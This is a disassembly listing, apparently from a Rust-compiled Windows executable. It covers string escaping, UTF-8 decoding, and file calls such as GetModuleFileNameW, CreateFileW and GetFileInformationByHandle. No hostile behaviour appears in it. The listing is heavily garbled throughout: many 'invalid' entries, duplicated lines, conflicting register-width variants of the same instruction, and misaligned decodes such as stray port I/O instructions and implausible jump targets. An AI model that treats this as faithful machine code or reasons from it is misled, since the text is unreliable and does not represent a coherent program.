add byte [rax - 0x73], cl
lea rcx, [0x1400f06e0]
or eax, 0x6f319
sbb ebx, esi
invalid
movsxd rax, dword [rcx + rsi*4]
add al, 0xb1
add rax, rcx
jmp rax
add rdi, 3
shl eax, 0xc
or ecx, eax
mov r13d, ecx
mov esi, r13d
out dx, al
out dx, al
cmp r13d, 0x27
jbe 0x1400813c0
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
cmp r13d, 0x5c
pop rsp
je 0x140081674
add al, byte [rax]
add byte [rcx + rcx*4 - 0x17], al
mov ecx, r13d
call fcn.140044e50
test al, al
ror byte [rdi], 0x85
invalid
add dword [rax], eax
invalid
ror byte [rdi], 0x85
invalid
cmp r13d, 0x20
cmp ebp, 0x20
jb 0x140081520
invalid
add byte [rcx - 0x7d], al
std
cmp r13d, 0x7f
jae 0x140081450
jg case.0x1400689bc.1121
shl rsi, 0x10
shl rsi, 0x10
shl esi, 0x10
mov r15, rbx
mov edi, ebx
or r15, rbp
out dx, eax
or r15, rsi
mov r13b, 0x80
movzx eax, byte [rsp + 0x4f]
mov dh, 0x44
and al, 0x4f
mov dh, 0x44
and al, 0x4f
mov esi, eax
movzx eax, byte [rsp + 0x4e]
and al, 0x4e
and al, 0x4e
mov r12d, eax
mov esp, eax
mov eax, r14d
jmp 0x1400812e0
invalid
invalid
invalid
invalid
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x7f], al
std
add byte [rax], al
add byte [rcx], al
invalid
cmp r13d, 0x10000
add byte [rcx], al
add byte [rdi], cl
invalid
invalid
jb case.0x14007e263.90
invalid
cmp r13d, 0x20000
add al, byte [rax]
jae 0x1400814aa
lea rax, [0x1400d9104]
xchg edi, eax
jl 0x140081471
add byte [rax - 0x77], cl
and al, 0x28
and al, 0x28
mov qword [rsp + 0x28], rax
and al, 0x28
sub byte [rax - 0x39], cl
and al, 0x30
mov qword [rsp + 0x30], 0x1c2
ret 1
add dword [rax], eax
add byte [rax - 0x39], cl
and al, 0x20
and al, 0x20
add byte [rax], al
mov qword [rsp + 0x20], 0xc4
and al, 0x20
invalid
mov r8d, 0x2c
mov eax, 0x2c
mov ecx, r13d
jmp 0x1941da1d9
lea rdx, [0x1400d8fe8]
adc eax, 0x57b54
add byte [rbp + rcx*4 + 0xd], cl
movsd dword [rdi], dword [rsi]
jnp 0x14008149f
lea r9, str._f__NO
lea ecx, str._f__NO
add al, ch
adc byte [rbx], bh
cld
call fcn.140044fb0
inc dword [rax + rax*8 - 0x8d7af1]
test al, al
jne 0x14008141a
invalid
invalid
invalid
ror byte [rdi], 0x85
jb case.0x14007e263.123
invalid
test dword [rdx - 1], esi
invalid
invalid
jmp 0x140081520
lea eax, [r13 - 0xe01f0]
lea eax, [rbp - 0xe01f0]
int1
invalid
cmp eax, 0x2fe10
jb 0x140081520
movd xmm0, r13d
pshufd xmm0, xmm0, 0
paddd xmm0, xmm6
inc dh
add byte [rsi + 0xf], ah
inc dh
pxor xmm0, xmm7
movdqa xmm1, xmm8
movq mm1, mm0
movq mm1, mm0
movq mm1, mm0
pcmpgtd xmm1, xmm0
movmskps eax, xmm1
enter 0x500f, 0xffffffffffffffc1
test al, al
jne 0x140081520
invalid
lea eax, [r13 - 0x3134b]
lea eax, [r13 - 0x3134b]
inc dword [rbx + 0x3a7205f8]
cmp eax, 5
jb 0x140081520
lea eax, [r13 - 0x323b0]
lea eax, [rbp - 0x323b0]
invalid
cmp eax, 0xadd50
jb 0x140081520
push rax
fisttp qword [rdx]
add byte [rdx + 0x2c], dh
mov eax, r13d
mov eax, ebp
and eax, 0xffffffe0
cmp eax, 0x2a6e0
loopne 0x140081538
loopne 0x1400814a3
add al, byte [rax]
je 0x140081520
mov eax, r13d
mov eax, ebp
and eax, 0xfffffffe
cmp eax, 0x2b81e
jne 0x14008141a
test dword [rax], ecx
invalid
invalid
invalid
test dword [rax], ecx
invalid
nop word cs:[rax + rax]
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x46], 0
mov word [rsp + 0x44], 0
add byte [rax], r8b
mov byte [rsp + 0x4d], 0x7d
mov eax, r13d
jge 0x140081576
mov eax, ebp
shr eax, 0x14
lea rcx, [0x1400e76e3]
lea ecx, [0x1400e76e3]
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x47], al
mov eax, r13d
mov dh, 4
or byte [rax + 0x44472444], cl
mov eax, ebp
shr eax, 0x10
and eax, 0xf
call 0x14fe8985f
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x48], al
and al, 0x48
and al, 0x48
mov eax, r13d
shr eax, 0xc
and eax, 0xf
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x49], al
mov eax, r13d
shr eax, 8
and eax, 0xf
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x4a], al
and al, 0x4a
mov eax, r13d
shr eax, 4
and eax, 0xf
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x4b], al
mov eax, r13d
and eax, 0xf
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x4c], al
or r13d, 1
bsr ecx, r13d
xor ecx, 0x1c
shr ecx, 2
lea rax, [rcx - 2]
mov byte [rsp + rcx + 0x44], 0x7b
mov word [rsp + rcx + 0x42], 0x755c
movzx r13d, word [rsp + 0x44]
mov esi, r13d
shr esi, 8
mov r9, qword [rsp + 0x46]
mov rcx, r9
and rcx, 0xffffffffffff0000
mov r8, r9
shr r8, 0x30
mov r12b, 0xa
jmp 0x14008162a
mov r12b, 2
mov r13b, 0x5c
mov sil, 0x30
jmp 0x140081620
mov r12b, 2
mov r13b, 0x5c
mov sil, 0x74
jmp 0x140081620
mov r12b, 2
mov r13b, 0x5c
mov sil, 0x6e
jmp 0x140081620
mov r12b, 2
mov r13b, 0x5c
mov sil, 0x72
jmp 0x140081620
mov r12b, 2
mov r13b, 0x5c
mov sil, 0x22
jmp 0x140081620
mov r12b, 2
mov r13b, 0x5c
mov sil, 0x27
nop dword [rax]
xor r8d, r8d
xor ecx, ecx
xor r9d, r9d
xor eax, eax
movabs rdx, 0xffffffff0000
and rcx, rdx
mov qword [rsp + 0x58], r8
movzx edx, r8w
shl rdx, 0x30
or rdx, rcx
mov qword [rsp + 0x50], r9
movzx r15d, r9w
or r15, rdx
mov ecx, esi
mov byte [rsp + 0x4f], sil
mov ecx, r12d
mov byte [rsp + 0x4e], r12b
mov r14d, eax
cmp r13b, 0x81
jne case.0x140032048.1163
mov r12b, 2
mov sil, 0x5c
xor r8d, r8d
mov r13b, 0x5c
jmp 0x140081623
mov byte [rsp + 0x7b], r12b
mov byte [rsp + 0x70], r13b
mov byte [rsp + 0x71], sil
mov qword [rsp + 0x72], r15
lea ebx, [rax + 1]
mov byte [rsp + 0x7a], bl
movzx ecx, al
cmp al, 0xa
jae 0x140081735
movzx edx, byte [rsp + rcx + 0x70]
mov rcx, qword [rsp + 0x88]
mov rax, qword [rsp + 0x90]
call qword [rax + 0x20]
test al, al
je 0x140081284
mov al, 1
jmp 0x140081708
xor eax, eax
movaps xmm6, xmmword [rsp + 0xa0]
movaps xmm7, xmmword [rsp + 0xb0]
movaps xmm8, xmmword [rsp + 0xc0]
add rsp, 0xd8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srcescape.rs
mov edx, 0xa
call fcn.1400a9d70
ud2
mov rax, qword [rbp - 0x18]
mov r8, qword [rbp - 8]
mov word [rax + r8*2], r13w
inc r8
mov qword [rbp - 8], r8
mov rdx, qword [rdi]
mov r13d, ebx
test bx, bx
jne 0x140081960
nop word cs:[rax + rax]
cmp rdx, r15
je 0x140081a23
lea rcx, [rdx + 1]
mov qword [rdi], rcx
movzx r10d, byte [rdx]
add dword [rax - 0x77], ecx
cmove ecx, dword [rdi]
mov dh, 0x12
movzx r13d, r10b
test r13b, r13b
jns 0x14008198a
mov r9d, r13d
and r9d, 0x1f
lea rcx, [rdx + 2]
mov qword [rdi], rcx
movzx r11d, byte [rdx + 1]
and r11d, 0x3f
cmp r13b, 0xdf
jbe 0x140081980
lea rcx, [rdx + 3]
mov qword [rdi], rcx
movzx r13d, byte [rdx + 2]
shl r11d, 6
and r13d, 0x3f
invalid
or r13d, r11d
cmp r10b, 0xf0
jb 0x1400819ab
invalid
lea rcx, [rdx + 4]
mov qword [rdi], rcx
movzx edx, byte [rdx + 3]
and r9d, 7
shl r9d, 0x12
shl r13d, 6
and edx, 0x3f
or edx, r13d
or edx, r9d
mov r13d, edx
cmp r13d, 0xffff
jbe 0x14008198a
jmp 0x1400819bb
pop rsi
nop dword [rax]
mov word [rdi + 0x10], 0
xor ebx, ebx
cmp r13w, 0x22
je 0x140081996
jmp 0x1400819f0
nop word cs:[rax + rax]
shl r9d, 6
or r9d, r11d
mov r13d, r9d
xor ebx, ebx
mov rdx, rcx
cmp r13w, 0x22
jne 0x1400819f0
not r12b
and r12b, 1
mov r13d, ebx
test bx, bx
je 0x1400818d0
jmp 0x140081960
shl r9d, 0xc
or r13d, r9d
cmp r13d, 0xffff
jbe 0x14008198a
lea r9d, [r13 + 0xff0000]
shr r9d, 0xa
or r9d, 0xd800
and r13d, 0x3ff
or r13d, 0xdc00
mov word [rdi + 0x10], r13w
mov rdx, rcx
mov ebx, r13d
mov r13d, r9d
cmp r13w, 0x22
je 0x140081996
movzx ecx, r13w
cmp ecx, 0x3b
jne 0x140081a04
mov r13w, 0x3b
test r12b, 1
je 0x140081a1f
cmp r8, qword [rbp - 0x10]
jne 0x1400818a8
lea rcx, [rbp - 0x18]
mov rdx, r8
call fcn.140010730
jmp 0x1400818a0
mov byte [rdi + 0x18], 1
test r14b, r14b
jne 0x140081a5c
test r8, r8
jne 0x140081a5c
mov byte [rsi + 0x18], 2
cmp qword [rbp - 0x10], 0
je 0x140081a7f
mov r8, qword [rbp - 0x18]
mov rcx, qword [0x1400f91f8]
xor edx, edx
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
add al, byte [rax]
jmp 0xcb501a60
mov rdx, qword [rbp - 0x18]
lea rcx, [rbp - 0x38]
call fcn.14007df10
movups xmm0, xmmword [rbp - 0x38]
movups xmm1, xmmword [rbp - 0x28]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
cmp qword [rbp - 0x10], 0
jne 0x140081a38
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rdi
push r14
push r13
push rbp
push rbp
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
push 0x60
in al, dx
sub byte [rax - 0x73], cl
push 0x60
cmp qword [rbp - 0x10], 0
je case.0x14007cad1.581
invalid
jge 0x140081a9d
add byte [rbx + rdx + 0x4c], dh
mov eax, dword [rbp - 0x18]
invalid
adc ecx, dword [rbx + rcx*4 + 0x45]
mov r8, qword [rbp - 0x18]
call 0x17d15a600
ja 0x140081ac1
mov rcx, qword [0x1400f91f8]
cmp eax, 0x31000777
add byte [rcx], dh
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
add al, byte [rax]
sar bh, cl
adc eax, 0x2e945
invalid
invalid
add al, byte [rax]
jmp 0x188981ac7
add al, byte [rax]
nop
add rsp, 0x28
sub byte [rbx + 0x5f], bl
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
int3
push r15
push r14
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x478
js 0x140081af5
add byte [rax], al
js 0x140081af5
add byte [rax], al
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
test eax, esi
add eax, dword [rax]
add dh, bh
invalid
invalid
dec dword [rax - 0x77]
invalid
loopne 0x140081b0e
add byte [rax], al
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
test eax, esi
add eax, dword [rax]
add dh, bh
invalid
invalid
add byte [rax], al
mov qword [rbp + 0x3c8], 2
add byte [rax], al
add al, byte [rax]
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
test eax, edx
add eax, dword [rax]
add byte [rax], al
push rdi
ror byte [rdi], 0x11
test eax, edx
add eax, dword [rax]
add byte [rax], al
mov r8d, 0x200
add byte [rax], al
mov r8d, 0x200
add byte [rax + 2], bh
mov eax, 2
add al, byte [rax]
add byte [rax], al
mov qword [rbp + 0x3e8], rax
mov dword [rbp + 0x3e8], eax
xor edi, edi
xor ebx, ebx
xor r14d, r14d
push qword [rcx]
fild dword [rbp + 0x31]
test byte [rcx - 0x7f], 0xf8
cmp r8, 0x201
cmp r8, 0x201
cmp eax, 0x201
add byte [rbx + 0x2c], dh
jae 0x140081b70
sub al, 0xeb
jmp case.0x14007cad1.605
sbb dword [rsi + 0x2e], esp
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
jae 0x140081c31
sbb ebx, 0
add byte [rax], al
cmp r8, 0x201
clc
add dword [rdx], eax
add byte [rax], al
jae 0x140081b70
mov r15d, 0x200
lea r12, [rbp - 0x58]
lea esp, [rbp - 0x58]
lea esp, [rbp - 0x58]
mov r13, r8
jmp 0x140081bc8
pop rdx
vcvtsd2ss xmm4, xmm2, qword [rsi - 0x70]
pop rdx
nop
sub r8, r14
sub rbx, r14
sub ebx, esi
invalid
sub ebx, esi
cmp rbx, r8
cmp ebx, eax
jae case.0x14007cad1.618
lea rcx, [rbp + 0x3c8]
mov rdx, r14
add eax, dword [rax]
add byte [rcx + rcx*4 - 0xe], cl
call fcn.1400ae2f0
mov dword [rdx], 0x858b4800
enter 3, 0
add byte [rax], al
add al, byte [rax]
mov rax, qword [rbp + 0x3c8]
mov eax, dword [rbp + 0x3c8]
add byte [rax], al
mov qword [rbp + 0x3e8], rax
mov rdi, qword [rbp + 0x3d0]
rol byte [rbx], 1
add byte [rax], al
test eax, ebp
add eax, dword [rax]
add byte [rax - 0x75], cl
mov ebp, 0x3d0
rol byte [rbx], 1
add byte [rax], al
rol byte [rbx], 1
add byte [rax], al
mov eax, 0xffffffff
cmp rdi, rax
dec dword [rax + 0x39]
mov dword [rcx - 0x42], 0xffffffff
mov r14d, 0xffffffff
mov r14d, 0xffffffff
mov esi, 0xffffffff
invalid
cmovb r14, rdi
mov qword [rbp + 0x3d8], r14
mov ch, 0xd8
add eax, dword [rax]
invalid
test dword [rcx + r9*4 - 0x4b], 0x3d8
mov ch, 0xd8
add eax, dword [rax]
add byte [rax - 0x77], cl
sti
mov rbx, rdi
mov r15, r14
mov r12, qword [rbp + 0x3e8]
mov esp, dword [rbp + 0x3e8]
mov esp, dword [rbp + 0x3e8]
add eax, dword [rax]
add byte [rbp - 0x77], cl
add byte [rax], al
mov r13, r14
cmc
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
out 2, eax
invalid
out 2, eax
add byte [rcx], dh
leave
add al, byte [rax]
xor ecx, ecx
mov rdx, r12
mov r8d, r13d
call qword [sym.imp.kernel32.dll_GetModuleFileNameW]
add al, byte [rax]
add al, byte [rax]
mov esi, eax
test eax, eax
jne 0x140081bf2
invalid
invalid
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x140081c95
invalid
add byte [rcx - 0x77], al
invalid
mov r8d, esi
cmp r13, r8
jne 0x140081b50
call qword [sym.imp.kernel32.dll_GetLastError]
adc eax, 0x2e7a4
cmp eax, 0x7a
jne 0x140081cb8
invalid
stosd dword [rdi], eax
add byte [rax], al
invalid
jp 0x140081c17
test dword [rbx + 0x4d000000], ebp
add ebp, ebp
add r13, r13
mov eax, 0xffffffff
cmp r13, rax
cmovae r13, rax
call 0x189f0a56d
cmp eax, 0x201
add dword [rdx], eax
add byte [rax], al
dec dword [rcx + 0x39]
invalid
call 0x189f0a56d
cmp eax, 0x201
add dword [rdx], eax
add byte [rax], al
add dword [rdx], eax
add byte [rax], al
jb case.0x14007cad1.605
invalid
jmp 0x140081b70
dec dword [rbp + 0x39]
invalid
cmp r15, r8
jb 0x140081cd2
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea ebp, [rax + 0x4c000003]
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x1e], cl
lea rcx, [rbp + 0x3a8]
mov rdx, r12
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x1e], cl
call fcn.14007df10
movups xmm0, xmmword [rbp + 0x3a8]
test al, 3
add byte [rax], al
mov edx, 0x100fffff
test dword [rax + 0xf000003], ebp
test al, 3
add byte [rax], al
movups xmm1, xmmword [rbp + 0x3b8]
test al, 3
add byte [rax], al
movups xmm1, xmmword [rbp + 0x3b8]
mov eax, 0x48000003
mov eax, dword [rbp + 0x3e0]
loopne 0x140081c5f
add byte [rax], al
mov rax, qword [rbp + 0x3e0]
loopne 0x140081c5f
add byte [rax], al
movups xmmword [rax + 0x10], xmm1
adc dword [rax + 0x10], ecx
adc byte [rdi], cl
adc dword [rax], eax
movups xmmword [rax], xmm0
test rdi, rdi
je 0x140081c80
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x3e8]
mov eax, dword [rbp + 0x3e8]
invalid
mov eax, dword [rbp + 0x3e8]
call 0x13f081c7e
adc eax, 0x2e788
out 2, eax
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
out 2, eax
add byte [rax + 0x78c48148], dl
add al, 0
add byte [rbx + 0x5f], bl
nop
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rcx, qword [rbp + 0x3e0]
mov qword [rcx], rax
mov byte [rcx + 0x18], 2
add cl, byte [rax - 0x7b]
push qword [rbp - 0x4c]
lea rcx, str.internal_error:_entered_unreachable_code_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadmod.rs
lea ecx, str.internal_error:_entered_unreachable_code_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.1400a9e70
jmp 0x140081ce7
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, r15
mov r8, rax
call fcn.1400a9df0
ud2
adc byte [rbp + 0x41], dl
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
cmp qword [rbp + 0x3d0], 0
mov ebp, 0x3d0
invalid
je 0x140081d2c
mov ebp, 0x3d0
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rbp + 0x3c8]
mov r8, qword [rbp + 0x3c8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
invalid
mov ebx, dword [rsi + 0x10]
sub rax, rbx
cmp rax, r15
jb 0x140081f4a
mov rcx, qword [rsi]
add rcx, rbx
mov rdx, rdi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add rbx, r15
jmp 0x140081f0b
add r8, 2
add eax, 2
cmp rdx, rax
cmovne rdx, r8
nop word cs:[rax + rax]
mov r8, rdx
cmp rdx, rax
je 0x140081eee
lea rdx, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
jns 0x140081e80
cmp r9b, 0xe0
jb 0x140081e6b
cmp r9b, 0xed
jne 0x140081ebf
mov rax, qword [rsi + 8]
sub rax, rbx
cmp rax, r14
jb 0x140081f20
add rcx, rbx
mov rdx, rdi
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add rbx, r14
mov qword [rsi + 0x10], rbx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rsi
mov rdx, rbx
mov r8, r14
call fcn.1400aae70
mov rcx, qword [rsi]
mov rbx, qword [rsi + 0x10]
jmp 0x140081efa
mov rcx, rsi
mov rdx, rbx
mov r8, r15
call fcn.1400aae70
mov rbx, qword [rsi + 0x10]
jmp 0x140081e40
invalid
invalid
pop rax
mov r8d, dword [rdi + 0x18]
mov r9, qword [rdi + 8]
mov edx, 0x80120114
jmp 0x1400820a0
cmp byte [rdi + 0x23], 0
je 0x140082066
jmp 0x1400820b0
jne 0x140081fc0
leave
je 0x14008208f
test al, al
jne 0x140082093
mov edx, 0x40000000
jmp 0x14008207d
mov r9, qword [rdi + 8]
mov edx, 0x80120114
test al, al
jne 0x1400820a0
mov edx, 0x80000000
cmp byte [rdi + 0x23], 0
and eax, dword [rax]
jne 0x1400820b0
invalid
cmp byte [rdi + 0x24], 0
cmp byte [rdi + 0x24], 0
jne 0x1400820b0
cmp byte [rdi + 0x25], 0
jne 0x1400820b0
xor eax, eax
xor ecx, ecx
jmp 0x1400820c8
mov r8d, dword [rdi + 0x18]
mov r9, qword [rdi + 8]
invalid
invalid
movzx ecx, byte [rdi + 0x23]
movzx eax, byte [rdi + 0x25]
mov dh, 0x47
invalid
jmp 0x1400820c8
test al, al
je 0x1400820b0
mov r8d, dword [rdi + 0x18]
mov r9, qword [rdi + 8]
mov edx, 0x120114
adc al, byte [rax]
adc al, byte [rax]
movzx ecx, byte [rdi + 0x23]
movzx eax, byte [rdi + 0x25]
test cl, cl
je 0x1400820c8
test al, al
jne 0x1400820c8
movabs r14, 0x5700000002
test r15, r15
jne case.0x140083c5d.153
jmp 0x140082155
cmp byte [rdi + 0x24], 0
je 0x1400820e7
jg 0x1400820ef
add byte [rcx + rbx + 0x45], dh
xor edx, edx
xor r10d, r10d
test cl, cl
sete cl
test al, al
jne 0x1400820f7
mov r10b, cl
lea ecx, [r10*2 + 2]
jmp 0x1400820fc
xor r10d, r10d
test cl, cl
leave
leave
setne cl
test al, al
je 0x140082184
test byte [rbp - 0x47000000], cl
add dword [rax], eax
add byte [rax], al
mov ecx, 1
mov r10d, dword [rdi + 0x14]
or r10d, dword [rdi + 0x10]
or edx, dword [rdi + 0x10]
or edx, dword [rdi + 0x10]
or r10d, dword [rdi + 0x1c]
xor r11d, r11d
test al, al
setne r11b
setne bl
shl r11d, 0x15
jrcxz 0x14008212a
or r11d, r10d
mov dword [rsp + 0x28], r11d
pop rsp
and al, 0x28
pop rsp
and al, 0x28
mov dword [rsp + 0x20], ecx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x30], 0
and al, 0x30
add byte [rax], al
add byte [rax], al
invalid
and al, 0x30
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CreateFileW]
xchg ebp, eax
loopne case.0x1400281ec.1480
add byte [rax - 0x7d], cl
clc
push qword [rsi + rbp + 0x49]
je case.0x14007e263.134
mov r14, rax
cmp rax, 0xffffffffffffffff
cmp eax, 0xffffffff
je case.0x14007e263.134
mov r14, rax
invalid
xor ebx, ebx
test r15, r15
test edi, edi
test edi, edi
je 0x140082155
mov rcx, qword [0x1400f91f8]
or eax, 0x770ae
jo 0x140082150
add byte [rcx], dh
xor edx, edx
mov r8, rsi
ror byte [rcx - 0x77], cl
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x2e2b3
add al, byte [rax]
mov rax, rbx
mov rdx, r14
fmul dword [rcx + rcx*4 - 0xe]
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop r15
ret
call qword [sym.imp.kernel32.dll_GetLastError]
cmp esp, edx
add al, byte [rax]
mov r14d, eax
shl r14, 0x20
out 0x20, al
invalid
out 0x20, al
and byte [rcx - 0x7d], cl
invalid
or r14, 2
mov ebx, 1
add dword [rax], eax
add byte [rax], al
add bh, byte [rbx + 1]
add dword [rax], eax
add byte [rax], al
test r15, r15
push qword [rbp - 0x3f]
jne case.0x140083c5d.153
shr ebx, 0xd1
jmp 0x140082155
rol dword [rcx - 0x78], 1
retf 0x8d42
invalid
invalid
mov r10b, cl
lea ecx, [r10*2 + 3]
add eax, dword [rax]
add byte [rax], al
invalid
add cl, ch
push 0xffffffffccffffff
invalid
invalid
dec esp
jmp 0x1400820fc
invalid
dec esp
int3
int3
int3
int3
int3
sub esp, 0x68
mov rdi, rdx
mov edi, edx
mov rsi, rcx
mov esi, ecx
invalid
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
and al, 0x50
and al, 0x50
push rax
movaps xmmword [rsp + 0x40], xmm0
and al, 0x40
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x30], xmm0
and al, 0x30
mov dword [rsp + 0x60], 0
and al, 0x60
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x73], cl
push rsp
and al, 0x30
lea rdx, [rsp + 0x30]
lea edx, [rsp + 0x30]
mov rcx, rdi
stc
call sub.kernel32.dll_GetFileInformationByHandle
adc edi, dword [rcx]
add al, byte [rax]
test eax, eax
je case.0x140083c5d.212
scasb al, byte [rdi]
add byte [rax], al
add byte [rax], al
ror byte [rdi], 0x84
scasb al, byte [rdi]
add byte [rax], al
add byte [rax], al
mov ecx, dword [rsp + 0x30]
xor eax, eax
invalid
invalid
add byte [rax], al
mov ecx, dword [rsp + 0x30]
and al, 0x30
xor eax, eax
test ecx, 0x400
rol dword [rax], 4
add byte [rax], al
add byte [rax + rax], al
add byte [rax + rdi + 0x48], dh
je case.0x14007e263.167
mov qword [rsp + 0x28], 0
je case.0x14007e263.167
mov qword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
lea eax, [rsp + 0x28]
add byte [rax], al
lea r8, [rsp + 0x28]
lea eax, [rsp + 0x28]
mov rcx, rdi
mov edx, 9
or dword [rax], eax
add byte [rax], al
add byte [rcx - 0x47], al
or byte [rax], al
mov r9d, 8
add byte [rax], al
call qword [sym.imp.kernel32.dll_GetFileInformationByHandleEx]
invalid
fild word [rdx]
add byte [rbp - 0x74858b40], al
test eax, eax
je case.0x140083c5d.212
mov eax, dword [rsp + 0x28]
test eax, eax
je case.0x140083c5d.212
sal byte [rdx + rdi*2 - 0x75], 0x44
and al, 0x28
invalid
mov eax, dword [rsp + 0x28]
sub cl, al
loopne case.0x140082303.95
invalid
shl eax, 0x15
adc eax, 0x231ff8c1
sar eax, 0x1f
clc
invalid
and eax, dword [rsp + 0x2c]
and al, 0x2c
and al, 0x2c
mov ecx, dword [rsp + 0x30]
and al, 0x30
xor byte [rbx + 0x44542454], cl
mov eax, dword [rsp + 0x4c]
and al, 0x4c
mov edx, dword [rsp + 0x54]
and al, 0x54
mov r8d, dword [rsp + 0x4c]
and al, 0x4c
and al, 0x4c
mov r9d, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
push rax
shl r9, 0x20
loope case.0x140082303.105
or r9, rdx
ror dword [rbx + 0x44582454], 1
mov edx, dword [rsp + 0x58]
push rsp
and al, 0x58
mov r10d, dword [rsp + 0x60]
mov edx, dword [rsp + 0x60]
push rsp
and al, 0x60
mov r11d, dword [rsp + 0x5c]
pop rsp
shl r11, 0x20
jrcxz case.0x140082303.108
and byte [rbp + 9], cl
or r11, r10
ror dword [rax - 0x39], cl
mov qword [rsi], 1
invalid
add byte [rax], al
add byte [rcx + rcx*4 + 0x5e], cl
mov qword [rsi + 8], r11
mov dword [rsi + 8], ebx
pop rsi
or bh, al
mov dword [rsi + 0x10], 1
adc byte [rcx], r8b
adc byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rcx + rcx*4 + 0x46], al
invalid
add byte [rax], al
mov dword [rsi + 0x14], r8d
adc al, 0xc7
adc al, 0xc7
mov dword [rsi + 0x18], 1
sbb byte [rcx], r8b
sbb byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x100f1c56], cl
mov dword [rsi + 0x1c], edx
push rsi
sbb al, 0xf
movups xmm0, xmmword [rsp + 0x34]
movups xmm0, xmmword [rsp + 0x34]
and al, 0x34
xor al, 0xf
adc dword [rsi + 0x20], eax
invalid
movups xmmword [rsi + 0x20], xmm0
and byte [rax - 0x75], cl
mov rdx, qword [rsp + 0x44]
push rsp
and al, 0x44
mov qword [rsi + 0x30], rdx
push rsi
xor byte [rcx + rcx*4 + 0x4e], cl
mov qword [rsi + 0x38], r9
mov dword [rsi + 0x40], ecx
invalid
invalid
mov qword [rsi + 0x38], r9
mov dword [rsi + 0x38], ecx
cmp byte [rcx + 0x4689404e], r9b
mov dword [rsi + 0x40], ecx
mov dword [rsi + 0x44], eax
mov dword [rsi + 0x44], eax
mov dword [rsi + 0x44], eax
jmp case.0x1400281ec.1491
jmp case.0x1400281ec.1491
jmp case.0x1400281ec.1491
call qword [sym.imp.kernel32.dll_GetLastError]
sbb ecx, esp
loope case.0x140083c5d.213
add al, byte [rax]
add byte [rax - 0x3f], cl
loopne case.0x14007e263.196
invalid
shl rax, 0x20
shl eax, 0x20
and byte [rax - 0x7d], cl
or rax, 2
enter 0x4802, 0xffffffffffffff89
mov qword [rsi + 8], rax
or byte [rax - 0x39], r9b
or byte [rax - 0x39], cl
mov qword [rsi], 2
invalid
add al, byte [rax]
